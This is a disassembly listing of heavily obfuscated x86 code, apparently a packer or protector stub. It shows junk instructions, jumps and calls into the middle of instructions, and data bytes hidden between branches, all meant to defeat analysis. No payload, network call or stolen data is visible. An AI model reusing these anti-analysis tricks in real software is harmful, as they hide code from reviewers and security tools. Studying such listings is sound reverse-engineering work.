		mov	eax, ds:7C00BAF6h
		cli
		push	es


loc_608180:				; CODE XREF: sub_608123+4Bp
		sbb	byte ptr [ecx+5Fh], 0F5h
sub_608123	endp ; sp-analysis failed

		popa
		mov	dx, 949Eh
		jmp	loc_608196
; ---------------------------------------------------------------------------
		dw 2772h
; ---------------------------------------------------------------------------
		pop	ss
		mov	eax, 46BE1FD8h


loc_608196:				; CODE XREF: .XComp0:00608189j
		push	eax
		mov	ch, 23h
		pop	ebx
		push	edi
		sub	ax, 91D4h
		pop	eax
		call	near ptr loc_6081AD+3
		mov	bh, 0FBh
		mov	al, 8Bh
		aas
		aas
		inc	ebx


loc_6081AD:				; CODE XREF: .XComp0:006081A1p
		xor	[esi+58DE8B09h], esp
		mov	eax, edi
		and	ecx, 4833E14Ch
		jmp	loc_6081CC
; ---------------------------------------------------------------------------
		mov	ecx, 47F917FEh
		clc
		inc	ebx
		mov	eax, 698C174h


loc_6081CC:				; CODE XREF: .XComp0:006081BBj
		mov	di, cx
		mov	ecx, esi
		or	eax, 45DB9DF2h
		jbe	near ptr loc_6081E8+2
		call	near ptr loc_6081E5+2
		inc	esi
		inc	edi
		aas


loc_6081E5:				; CODE XREF: .XComp0:006081DDp
		sbb	edx, [ecx-75h]


loc_6081E8:				; CODE XREF: .XComp0:006081D7j
		mov	byte ptr [ecx-17h], 0Fh
; ---------------------------------------------------------------------------
		dd 0D4000000h, 0A7831DE6h, 3CCCB3CFh, 56FFA63Fh, 3AB8407Eh
		dd 0B857A951h, 22C955A0h, 3C7CF181h, 0BF6660EAh, 820FF096h
		dd 2, 0E96054B6h, 11h, 63A76703h, 42B4EBE5h, 0BB975975h
		dd 27C2F04Bh, 830F27h, 61000000h, 61D38A60h, 8E927B7h
		dd 5000000h, 98529F45h,	573554C1h, 0BE8h, 84E8C00h, 594DDB55h
		dd 881F927Fh, 880Fh, 5B5E0000h,	0E9F88B66h, 5, 0A06DECDEh
		dd 0CE977h, 2A990000h, 0E009A541h, 9281069Bh, 0B9663161h
		dd 14E907FEh, 88000000h, 6A31BF9Fh, 7A279F80h, 0D58BF6C0h
		dd 57188A0Dh, 5346FC4Bh, 210CBE66h, 11E95Fh, 8C070000h
		dd 950FDFA9h, 93D2FA70h, 0F25009B5h, 0F86FA035h, 0E135C7BBh
		dd 5870F2Fh, 66000000h,	0F014D781h, 860F5160h, 0
; ---------------------------------------------------------------------------
		pop	edx
		jb	loc_6082E0
		sbb	bx, 44D6h


loc_6082E0:				; CODE XREF: .XComp0:006082D5j
		popa
		cld
		mov	ax, 13AEh
		and	cx, 7247h
		pusha
		movzx	edi, bx
		cld
		popa
		jmp	loc_608305
; ---------------------------------------------------------------------------
		dw 589Ch
		dd 797BA4C0h, 91DAF572h, 0F6D18554h
		db 6Ah
; ---------------------------------------------------------------------------


loc_608305:				; CODE XREF: .XComp0:006082F1j
		movsx	ebx, di
		sub	edx, 196BF5E9h
		mov	bl, dh
		call	near ptr loc_60831C+5
		cbw
		jnz	short near ptr dword_6081EC+0D4h
		inc	ecx
		cmp	al, ah


loc_60831C:				; CODE XREF: .XComp0:00608310p
		lock adc dword ptr [ebp+esi*2+3Bh], 8C4EBA51h
		stosd
		push	5Eh
		pop	ebx
		mov	edi, eax
		call	loc_608341
		leave
		arpl	[edi+47h], sp
		xchg	bh, [ebx+29C3B808h]
		imul	ecx, [edx-1F2E18CAh], -2Dh


loc_608341:				; CODE XREF: .XComp0:0060832Bp
		pusha
		jle	$+6
		popa
		pop	ecx
		mov	bh, dh
		mov	bx, di
		mov	bl, 0BEh
		jle	loc_608361	; CODE XREF: .XComp0:00608371j
		pusha
		add	edx, 7210272h
		mov	dl, 1Fh
		popa


loc_608361:				; CODE XREF: .XComp0:00608351j
		add	eax, 4C11CB53h
		mov	bh, 35h
		call	sub_60837E
		movsb
		adc	al, 37h
		jnb	short near ptr loc_608351+1
		jmp	near ptr 0F5E0E3C9h
; ---------------------------------------------------------------------------
		pusha
		add	al, 0A5h
		fdivp	st(7), st
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_60837E	proc near		; CODE XREF: .XComp0:00608369p

; FUNCTION CHUNK AT 00608481 SIZE 00000002 BYTES

		js	loc_608387
		and	dl, 97h


loc_608387:				; CODE XREF: sub_60837Ej
		pop	ebx
		sbb	esi, 668D4B4Eh
		push	esi
		sub	di, 1576h
		pop	edi
		jmp	loc_6083A8
; ---------------------------------------------------------------------------
		dw 23A2h
		dd 5EF55E99h, 0B300D7B9h, 6762ED2Fh
; ---------------------------------------------------------------------------


loc_6083A8:				; CODE XREF: sub_60837E+17j
		pusha
		mov	di, 23B9h
		cmc
		popa
		stc
		movzx	edx, dx
		jo	loc_6083C9
		jmp	loc_6083C9
; ---------------------------------------------------------------------------
		dw 840Bh
		db 90h
		db 4Fh,	54h, 0EBh
		dd 79C97265h
		db 0C0h
; ---------------------------------------------------------------------------


loc_6083C9:				; CODE XREF: sub_60837E+35j
					; sub_60837E+3Bj
		mov	di, 0EC72h
		stc
		push	ebx
		movzx	ebx, bx
		pop	edx
		xor	al, 89h
		jp	$+6
		mov	ch, 78h
		jmp	loc_6083E8
; ---------------------------------------------------------------------------
		db 74h
		dd 787C9E69h
; ---------------------------------------------------------------------------


loc_6083E8:				; CODE XREF: sub_60837E+60j
		mov	dx, ax
		jmp	loc_6083FD
; ---------------------------------------------------------------------------
		dd 0FB2C9ED9h, 6888E2D7h, 890FA3E2h
		db 44h
; ---------------------------------------------------------------------------


loc_6083FD:				; CODE XREF: sub_60837E+6Dj
		xor	al, 2Eh
		mov	edi, eax
		mov	cl, 49h
		sbb	dx, 4D88h
		mov	esi, edx
		mov	bx, 20E4h
		mov	si, 8D72h
		xor	cx, 0A118h
		cmc
		xor	dx, 2B19h
		sub	bx, 7B3Dh
		movzx	edx, si
		mov	ax, di
		jmp	loc_608435
; ---------------------------------------------------------------------------
		and	edi, [ecx-681B1C5Eh]
		pushf


loc_608435:				; CODE XREF: sub_60837E+ABj
		jl	loc_60844A
		jmp	loc_60844A
; ---------------------------------------------------------------------------
		dd 0C7987818h, 0FFD3E49Fh
; ---------------------------------------------------------------------------
		jge	short loc_608451


loc_60844A:				; CODE XREF: sub_60837E:loc_608435j
					; sub_60837E+BDj
		jmp	loc_608454
; ---------------------------------------------------------------------------
		js	short loc_608481


loc_608451:				; CODE XREF: sub_60837E+CAj
		cmp	al, 23h
; ---------------------------------------------------------------------------
		db 0D3h
; ---------------------------------------------------------------------------


loc_608454:				; CODE XREF: sub_60837E:loc_60844Aj
		movzx	esi, ax
		call	near ptr loc_60845E+4
		aam	77h


loc_60845E:				; CODE XREF: sub_60837E+D9p
		sbb	[edx-7E99AC2Eh], bh
sub_60837E	endp ; sp-analysis failed

		rcr	dword ptr [edi], 19h
		pop	esi
		mov	ecx, 1DC7F304h
		mov	ebx, 61A09218h
		clc
		mov	edx, ebx
		jmp	loc_608488
; ---------------------------------------------------------------------------
		dw 2480h
; ---------------------------------------------------------------------------
		enter	0D85h, 0BAh
		cmc
; START	OF FUNCTION CHUNK FOR sub_60837E


loc_608481:				; CODE XREF: sub_60837E+D1j
		xchg	eax, edx
		dec	ebp
; END OF FUNCTION CHUNK	FOR sub_60837E
; ---------------------------------------------------------------------------
		db 2Ah
		dd 8A47AB3Dh
; ---------------------------------------------------------------------------


loc_608488:				; CODE XREF: .XComp0:00608475j
		sub	ecx, 42DC2D28h
		mov	cx, ax
		or	cl, 5Fh
		add	ax, 9DEEh
		jnp	loc_6084AA
		call	near ptr loc_6084A5+4
		dec	eax


loc_6084A5:				; CODE XREF: .XComp0:0060849Fp
		mov	esi, 5FE777B9h


loc_6084AA:				; CODE XREF: .XComp0:00608499j
		jz	loc_6084B3
		or	cl, 0C1h


loc_6084B3:				; CODE XREF: .XComp0:loc_6084AAj
		jnb	$+6
		mov	si, 0BFBAh
		jmp	loc_6084D3
; ---------------------------------------------------------------------------
		dw 9AEEh
		dd 6222C785h, 99B38AD6h, 900C0A8Eh
		db 0E7h, 0DBh, 0F7h
; ---------------------------------------------------------------------------


loc_6084D3:				; CODE XREF: .XComp0:006084BDj
		mov	ch, 98h
		pusha
		sbb	dh, 0F9h
		xor	bh, 83h
		popa
		mov	dx, bx
		jz	loc_608508
		pusha
		jmp	loc_6084F6
; ---------------------------------------------------------------------------
		dd 0EC4E88E8h, 0BC0D1FBDh
		db 0D9h, 9Ah
; ---------------------------------------------------------------------------


loc_6084F6:				; CODE XREF: .XComp0:006084E7j
		jmp	loc_608507
; ---------------------------------------------------------------------------
		pop	ds
		xchg	edx, [edi+248B9729h]
		xor	eax, 2CA27822h


loc_608507:				; CODE XREF: .XComp0:loc_6084F6j
		popa


loc_608508:				; CODE XREF: .XComp0:006084E0j
		jmp	loc_608521
; ---------------------------------------------------------------------------
		db 0AAh, 56h, 0B3h
		dd 252BA125h, 8E4326A9h, 0D4A0D40Ch, 7D98DE54h
; ---------------------------------------------------------------------------
		cli


loc_608521:				; CODE XREF: .XComp0:loc_608508j
		mov	dx, 0C026h
		push	ebx
		pop	eax
		mov	edi, ebx
		push	ebx
		adc	dx, 922Dh
		pop	edx
		jnb	loc_608548
		call	near ptr loc_60853F+6
		sbb	al, 82h
		xor	al, 48h


loc_60853F:				; CODE XREF: .XComp0:00608536p
		bound	esi, [ebx+edi*4-4FA2E18Ah]
		dec	edx
		pop	ecx


loc_608548:				; CODE XREF: .XComp0:00608530j
		mov	si, bx
		mov	al, 59h
		call	sub_60855D
; ---------------------------------------------------------------------------
		dw 0F6FEh
; ---------------------------------------------------------------------------
		test	eax, 0D2711F11h
		sbb	[edi], cl
		mov	ah, 0F6h

; =============== S U B	R O U T	I N E =======================================



sub_60855D	proc near		; CODE XREF: .XComp0:0060854Dp
		jge	loc_608568
		mov	edi, 23E5DC6Ch


loc_608568:				; CODE XREF: sub_60855Dj
		pop	ebx
		xor	ecx, 51E95EF5h
		call	sub_608580
		or	al, 0BFh
		test	[esi+ecx*8+37h], dl
		jge	short loc_60858B
		inc	ebx
		inc	ecx
		cmp	al, 0C2h
sub_60855D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_608580	proc near		; CODE XREF: sub_60855D+12p
		pop	eax
		mov	dl, 0A7h
		cld
		mov	bh, ch
		movzx	edi, si
		cmc
		pusha


loc_60858B:				; CODE XREF: sub_60855D+1Dj
		and	edi, 3755DF7Fh
		mov	dx, 2149h
		popa
		mov	ax, di
		sbb	ebx, 61D5F1EAh
		mov	di, 7F51h
		mov	edx, 44B850B4h
		push	edi
		add	ax, 17B1h
		pop	edx
		jmp	loc_6085BF
; ---------------------------------------------------------------------------
		dd 3EDCF751h, 90A6D696h
		db 0B1h, 0C6h, 5
; ---------------------------------------------------------------------------


loc_6085BF:				; CODE XREF: sub_608580+2Fj
		call	near ptr loc_6085C7+3
		adc	[ebx-30h], al


loc_6085C7:				; CODE XREF: sub_608580:loc_6085BFp
		fild	qword ptr [edx+esi*4-7Fh]
sub_608580	endp ; sp-analysis failed

		out	dx, al
		shr	dword ptr [edi+0Fh], 5Fh
		pop	ecx
		mov	ecx, 535A6B1Ch
		jmp	loc_6085E5
; ---------------------------------------------------------------------------
		db 68h
		dd 0E451A599h, 37F7625Dh
		db 7Ch
; ---------------------------------------------------------------------------


loc_6085E5:				; CODE XREF: .XComp0:006085D6j
		mov	ecx, 2E5A5DD2h
		jz	$+6
		pusha
		jmp	loc_608608
; ---------------------------------------------------------------------------
		dw 6CDCh
		dd 0DA817EF9h, 240BD605h, 5A0C74B5h, 61E7C6F3h
; ---------------------------------------------------------------------------


loc_608608:				; CODE XREF: .XComp0:006085F1j
		popa
		adc	si, 0D567h
		push	esi
		mov	si, ax
		pop	esi
		and	eax, 0DE71DD0h
		jmp	loc_608631
; ---------------------------------------------------------------------------
		inc	edi
		mov	dword ptr [edx+ebx-1D630BACh], 177FC4CFh
		inc	eax
		fisttp	dword ptr [esi-0D17B08Ch]


loc_608631:				; CODE XREF: .XComp0:00608619j
		mov	ecx, 4E577887h
		movsx	ebx, dx
		push	eax
		ja	loc_608646
		js	$+6


loc_608646:				; CODE XREF: .XComp0:0060863Aj
		pop	ebx
		call	near ptr loc_608659+1
		xchg	ah, [ebp+89DF208h]
		fidiv	dword ptr [esi]
		aaa
		jnz	short loc_608693
		mov	dh, 0


loc_608659:				; CODE XREF: .XComp0:00608647p
		sbb	[edi], cl
		add	byte ptr ds:66000000h, 81h
		out	0E6h, eax
		xchg	eax, esi
		pop	edx
		mov	edi, 54501FFDh
		call	near ptr loc_608673+3
		xchg	eax, edx
		shl	ebp, 1


loc_608673:				; CODE XREF: .XComp0:0060866Bp
		mov	eax, ds:840F426Bh
		sldt	word ptr [eax]
		add	cl, ch
		or	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		dd 160CF000h, 0DAA226D6h, 59CF1E58h, 0CBBF0FF8h
		db 0B9h, 0D5h, 4Ah
; ---------------------------------------------------------------------------


loc_608693:				; CODE XREF: .XComp0:00608655j
		add	[ebp-41h], ch
		cli
; ---------------------------------------------------------------------------
		db 8Eh
; ---------------------------------------------------------------------------
		mov	bh, 51h
		mov	bx, 0A646h
		xor	bx, 0A517h
		movsx	esi, di
		jbe	loc_6086B4
		push	edi
		sbb	ebx, 4DB2594Fh
		pop	ecx


loc_6086B4:				; CODE XREF: .XComp0:006086A6j
		mov	ecx, 66915FA0h
		jo	loc_6086C4
		adc	cx, 286Bh


loc_6086C4:				; CODE XREF: .XComp0:006086B9j
		mov	eax, edi
		jmp	loc_6086D6
; ---------------------------------------------------------------------------
		db 5Bh
		dd 977028C7h, 0C63E0C98h
		db 44h,	0CAh
; ---------------------------------------------------------------------------


loc_6086D6:				; CODE XREF: .XComp0:006086C6j
		jb	loc_6086E4
		push	edi
		jnb	$+6
		pop	esi


loc_6086E4:				; CODE XREF: .XComp0:loc_6086D6j
		mov	cx, 88F3h
		mov	eax, edx
		call	sub_6086F5
		cld
		xor	al, 12h
		pop	es
		and	ah, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_6086F5	proc near		; CODE XREF: .XComp0:006086EAp
		mov	ebx, edx
		pop	edx
		xor	eax, 0BFB70DCh
		push	ecx
		jmp	loc_60870D
; ---------------------------------------------------------------------------
		cmpsd
		push	es
		aad	5Ah
		retn	84F9h
; ---------------------------------------------------------------------------
		fimul	word ptr [eax]


loc_60870D:				; CODE XREF: sub_6086F5+Aj
		pop	esi
		jbe	loc_60871C
		push	ebx
		xor	ecx, 2D12610Dh
		pop	edx


loc_60871C:				; CODE XREF: sub_6086F5+19j
		call	sub_608726
		rcr	dword ptr [esi+edx+26h], 62h
sub_6086F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_608726	proc near		; CODE XREF: sub_6086F5:loc_60871Cp
		pop	edi
		movsx	edx, dx
		mov	ecx, 6E737108h
		push	ebx
		jg	loc_60873A
		mov	di, 0ECD0h


loc_60873A:				; CODE XREF: sub_608726+Aj
		pop	eax
		and	esi, 76B38613h
		movzx	esi, dx
		mov	si, 13E0h
		push	ecx
		call	sub_60875D
		retn	4659h
sub_608726	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 4Eh,	62h, 8Ah
		dd 0A174D887h, 0CC28F364h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_60875D	proc near		; CODE XREF: sub_608726+23p
		xor	ebx, 4C41BEEh
		pop	edi
		pop	ecx
		jmp	loc_608779
; ---------------------------------------------------------------------------
		add	eax, 5EA3A396h
		pop	edi
		fadd	qword ptr [esi-360CCC4Eh]
		cmp	al, bl
		lahf


loc_608779:				; CODE XREF: sub_60875D+8j
		jmp	loc_608784
; ---------------------------------------------------------------------------
		db 90h
		db 62h
		dd 1DE411ECh
; ---------------------------------------------------------------------------


loc_608784:				; CODE XREF: sub_60875D:loc_608779j
		mov	edi, ecx
		call	sub_608792
		adc	[edx+45C5C18Bh], esp
		pop	edi
sub_60875D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_608792	proc near		; CODE XREF: sub_60875D+29p
		movzx	edi, dx
		pop	eax
		mov	ebx, 62334547h
		mov	edx, 18F9ACECh
		jbe	loc_6087C4
		pusha
		jmp	loc_6087C0
; ---------------------------------------------------------------------------
		dd 39E38D8Dh, 27665C31h, 6F2A470Bh, 44508B53h, 0CF308ACh
; ---------------------------------------------------------------------------


loc_6087C0:				; CODE XREF: sub_608792+15j
		sub	dh, 0F2h
		popa


loc_6087C4:				; CODE XREF: sub_608792+Ej
		add	ax, 2AFh
		mov	edx, eax
		ja	loc_6087D5
		mov	dx, 1804h


loc_6087D5:				; CODE XREF: sub_608792+39j
		movzx	ebx, ax
		xor	eax, 43BC7535h
		mov	dx, 0F07Ah
		jp	loc_6087EE
		adc	esi, 63E7CF35h


loc_6087EE:				; CODE XREF: sub_608792+50j
		mov	di, 1167h
		cmc
		mov	cx, 0A0D5h
		xor	si, 0EEF2h
		mov	di, 8123h
		push	ebx
		mov	bh, 25h
		pop	edi
		mov	al, 0B3h
		add	ax, 0F502h
		mov	edx, esi
		jmp	loc_608821
; ---------------------------------------------------------------------------
		dw 643Eh
		dd 2482AC96h, 3FFF8542h, 3D80D803h
		db 39h
; ---------------------------------------------------------------------------


loc_608821:				; CODE XREF: sub_608792+7Bj
		push	ebx
		mov	cx, 59A4h
		pop	eax
		add	cx, 0C60Eh
		jmp	loc_608842
; ---------------------------------------------------------------------------
		db 0E4h, 1Eh, 23h
		dd 0C025B075h, 0E4C098ABh, 82DD2DD2h
		db 2Bh,	0Ch
; ---------------------------------------------------------------------------


loc_608842:				; CODE XREF: sub_608792+9Aj
		clc
		jg	loc_60884A
		cmc


loc_60884A:				; CODE XREF: sub_608792+B1j
		mov	ecx, 4E5FEE7Dh
		jo	near ptr loc_608865+5
		call	near ptr loc_608865+2
		scasd
		imul	esi, [edi-69h],	9E8BC159h
		outsb
		mov	dh, 0B2h


loc_608865:				; CODE XREF: sub_608792+C3p
					; sub_608792+BDj
		adc	dword ptr [edx-74A7A5AAh], 0FFFFFFC7h
sub_608792	endp ; sp-analysis failed

		pusha
		mov	edx, edi
		mov	eax, 58010A99h
		popa
		mov	cl, 45h
		jmp	loc_608884
; ---------------------------------------------------------------------------
		dd 6959DC1h, 117E096Bh
; ---------------------------------------------------------------------------


loc_608884:				; CODE XREF: .XComp0:00608877j
		stc
		jmp	loc_608895
; ---------------------------------------------------------------------------
		dw 0CADEh
		dd 0C1FB56A2h, 0DF687BD5h
		db 0B4h
; ---------------------------------------------------------------------------


loc_608895:				; CODE XREF: .XComp0:00608885j
		jg	loc_60889E
		movsx	eax, si


loc_60889E:				; CODE XREF: .XComp0:loc_608895j
		add	bh, 0C3h
		ja	loc_6088AC
		mov	ebx, 78391E72h


loc_6088AC:				; CODE XREF: .XComp0:006088A1j
		jb	loc_6088B4
		mov	edi, ecx


loc_6088B4:				; CODE XREF: .XComp0:loc_6088ACj
		mov	ah, 80h
		mov	esi, 14AA32EDh
		mov	ah, bl
		jmp	loc_6088CB
; ---------------------------------------------------------------------------
		cmp	dword ptr [esp+eax], 0FFFFFFC1h
		or	dh, cl
		and	esp, ebp
		stosd


loc_6088CB:				; CODE XREF: .XComp0:006088BDj
		or	si, 0A44Bh
		push	esi
		movzx	ebx, di
		pop	esi
		mov	ch, dh
		jg	loc_6088E2
		xor	cx, 2B89h


loc_6088E2:				; CODE XREF: .XComp0:006088D7j
		mov	edx, ecx
		mov	di, si
		jnb	loc_6088F0
		movzx	eax, bx


loc_6088F0:				; CODE XREF: .XComp0:006088E7j
		sub	edi, 33B44EE0h
		sub	edi, 2B6058AEh
		add	si, 1Eh
		mov	ecx, ebx
		jno	$+6
		or	ecx, 195E002Fh
		adc	dl, 62h
		xor	esi, 6F593126h
		clc
		mov	si, 1B12h
		mov	dl, 59h
		mov	dx, 50B4h
		mov	ax, bx
		mov	ax, 0BDAh
		jnb	loc_608932
		mov	eax, ecx


loc_608932:				; CODE XREF: .XComp0:0060892Aj
		mov	ch, 6
		ja	loc_60893B
		cmc


loc_60893B:				; CODE XREF: .XComp0:00608934j
		mov	dx, 43DDh
		or	bl, 3
		mov	dx, 6397h
		jmp	loc_60895F
; ---------------------------------------------------------------------------
		db 0A0h
		dd 7E057269h, 57657EF5h, 0A244A0Eh, 95A6D57Ah
		db 0D1h, 0A6h, 0A9h
; ---------------------------------------------------------------------------


loc_60895F:				; CODE XREF: .XComp0:00608946j
		jl	loc_608969
		mov	dx, 0BBD3h


loc_608969:				; CODE XREF: .XComp0:loc_60895Fj
		movsx	ebx, dx
		adc	dh, 0B3h
		jmp	loc_608981
; ---------------------------------------------------------------------------
		dd 3B874395h, 23921B2Ah, 0CF4608C9h
		db 0D8h
; ---------------------------------------------------------------------------


loc_608981:				; CODE XREF: .XComp0:0060896Fj
		jge	loc_60898A
		mov	dx, bx


loc_60898A:				; CODE XREF: .XComp0:loc_608981j
		stc
		jmp	loc_608999
; ---------------------------------------------------------------------------
		jns	short near ptr loc_608994+3
		xor	ecx, esp


loc_608994:				; CODE XREF: .XComp0:00608990j
		mov	esp, 91F17AEEh


loc_608999:				; CODE XREF: .XComp0:0060898Bj
		call	near ptr loc_6089A6+1
		mov	ebx, 4D01BD26h
		xchg	eax, edi
		dec	edi
		cmc


loc_6089A6:				; CODE XREF: .XComp0:loc_608999p
		adc	eax, 13E8h
		add	[ebx], al
; ---------------------------------------------------------------------------
		db 0D9h, 0D7h, 0A0h
		dd 25C4ED71h, 7E87906Ch, 949B5E07h, 8B259F8Eh, 0BF5E5BF9h
		dd 0C4BE4B2h, 8E9h, 33359700h, 0C6E63F7Ch, 2CBE66BCh, 0D8BF0F73h
		dd 0AF559CB9h, 7E955h, 61B30000h, 0A3752C80h, 9CB96688h
		dd 0F0816665h, 0DA8BB9E0h, 8C0Fh, 88B10000h, 2EC5B866h
		dd 2850Fh, 55B40000h, 5E8h, 0AC1D9900h,	8B66F653h, 8F0F5AC6h
		dd 5, 0C3B70F52h, 8F0F505Bh, 6,	0A4A5EF81h, 815F0763h
		dd 5D8AF9E2h, 11E979h, 2CD60000h, 0E68870F3h, 0D2B3D5C9h
		dd 0C494F932h, 0FA780A2h, 6651FEB7h, 0F2FEC381h, 0B810F5Eh
		dd 60000000h, 0FD78B66h, 84h, 0EE86100h, 0F9000000h, 825E1C31h
		dd 294760EEh, 5BE66AE7h, 17800F37h, 0E9000000h,	12h, 29BBED7Eh
		dd 0CBDC12D3h, 0D44D6C90h, 1B7DAB23h, 0F58E89Fh, 1782h
		dd 12E900h, 7A460000h, 0A36E7519h, 33712E7Bh, 0FC4DFF8h
		dd 0C35979A0h, 0E9815BB3h, 722FA6BCh, 0C8B4EA81h, 840F4E30h
		dd 8, 28F0Fh, 61600000h, 4850Fh, 0B8660000h, 3ABF1BB6h
		dd 0BF43A5F2h, 6FEDA8A0h, 13E8F18Bh, 55000000h,	0E0B65CE1h
		dd 27E4738Eh, 7B549E9h,	782D4F5Fh, 0BF60F9D7h, 66A749B7h
		dd 0FEFED081h, 586104FFh, 14E9h, 0E4073400h, 0B6FFC6BBh
		dd 7AD03891h, 2AA18243h, 228C8A39h, 0F2EB4E9h, 0BF66D2BFh
		dd 816614ECh, 805082DFh, 9E950CFh, 0CC000000h, 7521E98Fh
		dd 32577986h, 9840Fh, 840F0000h, 3, 66D0B70Fh, 0DE9F18Bh
		dd 7A000000h, 2D466CBh,	4216E0EEh, 2EA1DE0Fh, 8B66EBB3h
		dd 5E8F1h, 35310000h, 669168ADh, 535BD38Bh, 0C5F8B966h
		dd 0C68B665Ah, 0AE9h, 1278C00h,	70463397h, 50BE8EC5h, 2860Fh
		dd 61600000h, 0A820F58h, 60000000h, 0D57B79BFh,	0C88B6669h
		dd 81666061h, 0E9380CE2h, 8, 0D12E9B48h, 3EDDB169h, 0F88B6661h
		dd 6082EB80h, 1860Fh, 61F80000h, 0E9C6B70Fh, 0Bh, 77AC21CEh
		dd 8FFC6280h, 0BA9B6299h, 5EE8DDABh, 0C9DA8166h, 12E828h
		dd 3F050000h, 262B8CC9h, 0ABEF1BADh, 768860C9h,	6D8D1F3Dh
		dd 0E684BB66h, 8E85Eh, 3F210000h, 96E4B475h, 6E9B32Ch
		dd 8C000000h, 5E9E7BB3h, 0BF0F5F6Ch, 0B8B966D9h, 66F860F1h
		dd 6661D98Bh, 664EE3BEh, 6001EFBAh, 61CEB70Fh, 5800Fh
		dd 6BBF0000h, 0F3C52B7h, 88Dh, 860F6000h, 0
; ---------------------------------------------------------------------------
		popa
		jb	loc_608C64
		add	bx, 0CBA7h


loc_608C64:				; CODE XREF: .XComp0:00608C59j
		adc	eax, 2017C5D1h
		sbb	edi, 59C86AF4h
		mov	bl, 0A9h
		jmp	loc_608C86
; ---------------------------------------------------------------------------
		db 0F6h
		dd 8FD7DE8Dh, 0A23D6B4Ah, 0B7418C3Fh
		db 0E7h, 18h
; ---------------------------------------------------------------------------


loc_608C86:				; CODE XREF: .XComp0:00608C72j
		jmp	loc_608C94
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		dec	eax
		add	[edx], esi
		inc	esi
		adc	esi, edi
		aas
		dec	eax


loc_608C94:				; CODE XREF: .XComp0:loc_608C86j
		mov	dx, ax
		mov	bx, dx
		mov	al, dl
		push	esi
		add	ecx, 752E47EFh


loc_608CA3:				; CODE XREF: .XComp0:00608CACj
		pop	edx
		stc
		jmp	loc_608CB7
; ---------------------------------------------------------------------------
		stc
		push	edx
		loop	loc_608CA3
		retf	5937h
; ---------------------------------------------------------------------------
		db 21h,	45h, 33h
		db 8Ch,	95h, 0FFh
; ---------------------------------------------------------------------------


loc_608CB7:				; CODE XREF: .XComp0:00608CA5j
		mov	edi, 25A23B49h
		mov	ax, cx
		sub	dx, 0B75Bh
		mov	si, 706h
		and	ecx, 5881B40h
		push	esi
		pusha
		mov	dl, 38h
		popa
		pop	ecx
		mov	edi, 41E35AC8h
		jns	loc_608CE5
		sbb	eax, 0E4D1A29h


loc_608CE5:				; CODE XREF: .XComp0:00608CD9j
		mov	bx, di
		pusha
		jnp	loc_608D01
		jmp	loc_608D01
; ---------------------------------------------------------------------------
		dd 3AD5E69Ch, 7795D43Fh, 0B6F09F73h
; ---------------------------------------------------------------------------
		pop	esp


loc_608D01:				; CODE XREF: .XComp0:00608CE9j
					; .XComp0:00608CEFj
		mov	eax, 1267A546h
		popa
		push	ebx
		mov	ax, cx
		pop	edx
		movsx	ecx, bx
		jb	loc_608D17
		mov	esi, eax


loc_608D17:				; CODE XREF: .XComp0:00608D0Fj
		mov	cx, bx
		mov	eax, ebx
		jmp	loc_608D28
; ---------------------------------------------------------------------------
		db 22h,	5Fh, 0B0h
		dd 0D32FF96Fh
; ---------------------------------------------------------------------------


loc_608D28:				; CODE XREF: .XComp0:00608D1Cj
		jmp	loc_608D32
; ---------------------------------------------------------------------------
		db 4Ah,	36h, 0A7h
		db 0C8h, 2Eh
; ---------------------------------------------------------------------------


loc_608D32:				; CODE XREF: .XComp0:loc_608D28j
		jmp	loc_608D47
; ---------------------------------------------------------------------------
		db 73h
		dd 32AD07E3h, 0BAD91CFAh, 28853519h
		db 5Eh,	0F6h, 0C9h
; ---------------------------------------------------------------------------


loc_608D47:				; CODE XREF: .XComp0:loc_608D32j
		mov	dh, 0C2h
		mov	di, ax
		pusha
		jnp	loc_608D57
		mov	ax, 7457h


loc_608D57:				; CODE XREF: .XComp0:00608D4Dj
		mov	ebx, 5AA1BADh
		popa
		jmp	loc_608D67
; ---------------------------------------------------------------------------
		dw 6064h
		db 5Dh,	6, 63h
; ---------------------------------------------------------------------------


loc_608D67:				; CODE XREF: .XComp0:00608D5Dj
		cmc
		jg	loc_608D7F
		jmp	loc_608D7F
; ---------------------------------------------------------------------------
		db 0C0h
		dd 72981DEDh, 0B2DE2EDEh
		db 0FBh, 2Dh, 6Ch
; ---------------------------------------------------------------------------


loc_608D7F:				; CODE XREF: .XComp0:00608D68j
					; .XComp0:00608D6Ej
		jg	loc_608D89
		mov	dx, 8D53h


loc_608D89:				; CODE XREF: .XComp0:loc_608D7Fj
		xor	cx, 5603h
		jns	loc_608D9F
		ja	loc_608D9F
		mov	edx, 567F6D63h


loc_608D9F:				; CODE XREF: .XComp0:00608D8Ej
					; .XComp0:00608D94j
		mov	si, 0F03Fh
		mov	ecx, 212E9732h
		mov	cl, 6Fh
		call	loc_608DB6
		cmp	al, 35h
		retf	3E77h
; ---------------------------------------------------------------------------
		db 1Fh,	84h
; ---------------------------------------------------------------------------


loc_608DB6:				; CODE XREF: .XComp0:00608DAAp
		adc	edi, 703341E6h
		pop	eax
		sbb	bh, 0FDh
		mov	dh, 0Fh
		pusha
		adc	edi, 1DFC7E88h
		sbb	bl, 0A7h
		popa
		mov	cx, dx
		pusha
		mov	ebx, eax
		popa
		mov	di, ax
		pusha
		clc
		mov	ebx, 3DEFA06Ah
		popa
		and	si, 0FABCh
		mov	dx, 0EA68h
		mov	esi, ebx
		adc	ecx, 2636281h
		jmp	loc_608E04
; ---------------------------------------------------------------------------
		db 28h,	9Dh, 0B6h
		dd 2E5F2067h, 0C21D1FCDh, 98A89D52h
; ---------------------------------------------------------------------------


loc_608E04:				; CODE XREF: .XComp0:00608DF0j
		movsx	edx, si
		js	loc_608E24
		jbe	loc_608E24
		call	loc_608E23
		jnb	short loc_608E46
; ---------------------------------------------------------------------------
		dw 2CFEh
		dd 1E3155Bh
		db 3Bh,	0DCh, 2
; ---------------------------------------------------------------------------


loc_608E23:				; CODE XREF: .XComp0:00608E13p
		pop	eax


loc_608E24:				; CODE XREF: .XComp0:00608E07j
					; .XComp0:00608E0Dj
		xor	edx, 28806E81h
		jbe	loc_608E35
